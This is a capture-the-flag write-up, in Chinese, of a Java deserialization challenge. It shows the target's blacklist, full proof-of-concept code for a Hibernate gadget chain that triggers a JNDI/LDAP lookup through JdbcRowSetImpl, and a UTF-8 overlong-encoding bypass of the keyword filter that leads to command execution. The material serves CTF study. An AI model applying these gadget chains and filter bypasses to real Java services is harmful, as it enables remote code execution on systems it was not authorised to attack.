软件系统安全赛2025华东赛区半决赛web-justDeserialize

前言

看着这题目jar包有接近40Mb的时候就直接决定先去学下tabby的简单使用,由于学业影响和自己配置过程中遭遇了许多莫名其妙的报错导致花了三天才结束

开始做题,解题过程中发现其实不需要tabby,心有点痛(虽说这工具早晚都要学。。。)

题解

先自己本地根据jar包搭了个环境以便进行调试

大概过了一下比较重要的文件,首先就是backdoor.class文件,里面重要的点是给了我们一个/read路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@RequestMapping({"/read"})
public String read(@RequestBody String body) {
if (body != null) {
try {
byte[] data = Base64.getDecoder().decode(body);
String temp = new String(data);
if (!temp.contains("naming") && !temp.contains("com.sun") && !temp.contains("jdk.jfr")) {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
MyObjectInputStream objectInputStream = new MyObjectInputStream(byteArrayInputStream);
Object object = objectInputStream.readObject();
return object.getClass().toString();
} else {
return "banned";
}
} catch (Exception var7) {
Exception e = var7;
return e.toString();
}
} else {
return "ok";
}
}

会检测解码后的序列化内容中是否存在naming,com.sun,jdk.jfr字段,有的话直接返回banned

如果成功进入if内容,会调用自己写的MyObjectInputStream来进行反序列化操作,通过查看MyObjectInputStream类可以明白只要是加了一个黑名单检测

黑名单内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
javax.management.BadAttributeValueExpException
com.sun.org.apache.xpath.internal.objects.XString
java.rmi.MarshalledObject
java.rmi.activation.ActivationID
javax.swing.event.EventListenerList
java.rmi.server.RemoteObject
javax.swing.AbstractAction
javax.swing.text.DefaultFormatter
java.beans.EventHandler
java.net.Inet4Address
java.net.Inet6Address
java.net.InetAddress
java.net.InetSocketAddress
java.net.Socket
java.net.URL
java.net.URLStreamHandler
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
java.rmi.registry.Registry
java.rmi.RemoteObjectInvocationHandler
java.rmi.server.ObjID
java.lang.System
javax.management.remote.JMXServiceUR
javax.management.remote.rmi.RMIConnector
java.rmi.server.RemoteObject
java.rmi.server.RemoteRef
javax.swing.UIDefaults$TextAndMnemonicHashMap
java.rmi.server.UnicastRemoteObject
java.util.Base64
java.util.Comparator
java.util.HashMap
java.util.logging.FileHandler
java.security.SignedObject
javax.swing.UIDefaults

可以看到主要是禁了一些基础链子,甚至是HashMap类都给你禁掉了

最开始看到题目依赖里面有jackson依赖,并且版本正确可以用通杀的时候想直接上手,但是黑名单直接把必需的两个类给禁掉了

另寻思路,发现还有hibernate依赖,更幸运的是该链子除了一个入口类HashMap给禁掉了之外剩下的都没有

很好,正好看这道题之前刚学完Rome反序列化,知道与HashMap类起到的作用类似的还有一个HashTable类

自己测试一手看看是否有hibernate漏洞

自己写的Users类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.sherlock;

import java.io.Serializable;

public class Users implements Serializable {
private static final long serialVersionUID = -7576821597219903730L;
public int id;
public void setId(int id){
this.id = id;
}
public int getId() throws Exception{
Runtime.getRuntime().exec("calc");
return id;
}
}

测试的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package org.sherlock;

import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Hashtable;

public class Main {
public static void main(String[] args) throws Exception{
Users user = new Users();
user.setId(1);
Hashtable<Object, Object> hashtable = new Hashtable<>();
ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);
setField(componentType,"propertySpan",2);
TypedValue typedValue = new TypedValue(componentType,user);
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);
Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", Users.class.getDeclaredMethod("getId"))});

setField(componentType,"componentTuplizer",pojoComponentTuplizer);
hashtable.put(1,1);

Field tableField = Hashtable.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashtable);
for (Object entry: table){
if (entry != null){
setField(entry,"key",typedValue);
}
}

byte[] bytes = ser(hashtable);
System.out.println(Base64.getEncoder().encodeToString(bytes));
unser(bytes);
}

public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}

public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}
}

测试可以正常弹出计算器,存在hibernate漏洞

ok,我们继续,因为上面测试的Users类是我们自己写出来的,所以我们要找到题目本身可以利用的getter方法

掏出苦练三天的tabby,开始扫

由于这个过程实在是有点久(轻薄本开尽马力扫了差不多45分钟。。。),在这过程中boring的我又去翻了翻自己学hibernate漏洞的笔记,发现hibernate2这条链子利用的是jndi注入,并且用到的关键类com.sun.rowset.JdbcRowSetImpl不在黑名单上面

芜湖,但有点可惜的是还是过不了if判断

看看tabby扫出来的有什么可以利用的

3af0760e26eff607b42718d6c12d9be4

丫的,用到的LdapAttribute类也是在com.sun包下面的,也过不了if判断

很好,这说明其实没区别了,都要想办法绕过if判断,这也就是说能绕过那我直接用hibernate2的链就好了,不需要再花脑子去想tabby扫出来的这个要怎么利用

那要怎么绕呢,我就去工具java-chains里面逛了逛(强推java-chains工具,好用!!!),发现里面有提供对生成的payload进行一个混淆的功能

image-20250330201504069

脏数据,主要还是针对waf的性能进行的一个绕过,在我们这里没有用

那Utf8OverlongEncoding是什么东东,有什么用:https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

看完p神文章恍然大悟,可以利用Utf8OverlongEncoding方法进行绕过

贴上poc(该poc在java8里面运行,因为sun.reflect在java11中没有)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package org.sherlock;

import com.sun.rowset.JdbcRowSetImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;

import javax.sql.rowset.BaseRowSet;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Hashtable;

public class Test {
public static void main(String[] args) throws Exception{
Hashtable<Object,Object> hashtable = new Hashtable<>();
ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);
setField(componentType,"propertySpan",2);
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

Class c0 = BaseRowSet.class;
Field dataSourceField = c0.getDeclaredField("dataSource");
dataSourceField.setAccessible(true);
dataSourceField.set(jdbcRowSet,"ldap://127.0.0.1:50389/98b84c");

Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData"))});

setField(componentType,"componentTuplizer",pojoComponentTuplizer);
hashtable.put(1,1);

TypedValue typedValue = new TypedValue(componentType,jdbcRowSet);
Field tableField = Hashtable.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashtable);
for (Object entry: table){
if (entry != null){
setField(entry,"key",typedValue);
}
}

byte[] bytes = ser(hashtable);
System.out.println(Base64.getEncoder().encodeToString(bytes));
unser(bytes);
}

public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}

public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}
}

将生成的base64编码字符串拿到java-chains工具中进行一个Utf8OverlongEncoding混淆后,再拿到bp中post传过去

正常反序列化攻击报错,但是没弹出计算器

why,why,why

自己调试了一下,发现忘记了题目版本是java11,已经不允许远程类加载了

无妨,之前学过jndi高版本绕过,用上,结果报错如下:

ebc8f49951422cdd747d7edda28e5280

不安全字段forceString字段已经没掉了(高版本绕过没学的到家。。。。。。)

ok,脑子没思路了,求助了一下学长,告诉我java-chains里面还有可以绕过的链子

由于题目依赖里有jackson,利用上

image-20250330203011386

将生成的ldap网址替代上面的poc中的ldap网址,将生成的base64字符串进行混淆,发送,成功弹出计算器

image-20250330203306013

完结,撒花

引用

软件系统安全赛2025华东赛区半决赛wp-web